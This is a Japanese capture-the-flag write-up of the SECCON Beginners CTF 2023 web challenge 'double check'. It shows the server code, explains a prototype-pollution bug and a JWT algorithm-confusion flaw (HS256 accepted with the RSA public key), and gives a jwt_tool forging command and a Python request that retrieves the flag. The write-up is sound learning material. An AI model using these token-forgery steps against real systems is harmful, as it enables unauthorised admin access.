はじめに
SECCON Beginners CTF 2023に「bitbuger」として参加しました。Web分野の問題を解き結果は32位でした。
その中の「double check」について自分の思考回路を交えてWriteupを作成します。
double check
app.post("/register", (req, res) => { const { username, password } = req.body; if(!username || !password) { res.status(400).json({ error: "Please send username and password" }); return; } const user = { username: username, password: password }; if (username === "admin" && password === getAdminPassword()) { user.admin = true; } req.session.user = user; let signed; try { signed = jwt.sign( _.omit(user, ["password"]), readKeyFromFile("keys/private.key"), { algorithm: "RS256", expiresIn: "1h" } ); } catch (err) { res.status(500).json({ error: "Internal server error" }); return; } res.header("Authorization", signed); res.json({ message: "ok" }); }); app.post("/flag", (req, res) => { if (!req.header("Authorization")) { res.status(400).json({ error: "No JWT Token" }); return; } if (!req.session.user) { res.status(401).json({ error: "No User Found" }); return; } let verified; try { verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] } ); } catch (err) { console.error(err); res.status(401).json({ error: "Invalid Token" }); return; } if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) { verified = _.omit(verified, ["admin"]); } const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; } res.send("No flag for you"); }); app.listen(PORT, HOST, () => { console.log(`Server is running on port ${PORT}`); });
まず、2つのチェックについて見ていく
if (username === "admin" && password === getAdminPassword()) 中略 if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
usernameはadminは指定できるが,passwordは getAdminPassword()によって生成されている. getAdminPassword()は16ビットのランダムな値なので,総当たりでは突破できない.
脆弱性1つ目
const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; }
prototype pollutionの脆弱性が発見できる..adminを汚染することでFLAGを獲得できる.
脆弱性2つ目
暗合化 signed = jwt.sign( _.omit(user, ["password"]), readKeyFromFile("keys/private.key"), { algorithm: "RS256", expiresIn: "1h" } 複合化 verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] }
暗合化のアルゴリズムはRS256の公開鍵暗号,複合化のアルゴリズムはRS256に加えHS256の共通鍵暗号が許可されている。これによって、任意のペイロードを送ることが可能となる
この2つの脆弱性を使用した。
解決
jwt.ioを使用しAuthorizationを以下のように書き換える
その後jwt toolを使用しAuthorizationを公開鍵で暗号化したものにする
python3 jwt_tool.py $jwt --exploit k -pk ../app/keys/public.key
以下のようにリクエストを送るとFLAGを得ることができた
session = requests.Session() session.cookies.set('connect.sid', response.cookies['connect.sid']) flagheaders = {'content-type': 'application/json', 'Authorization':'jwt_tool'} response = session.post(flagurl,data=json.dumps(data),headers=flagheaders) print(response.text)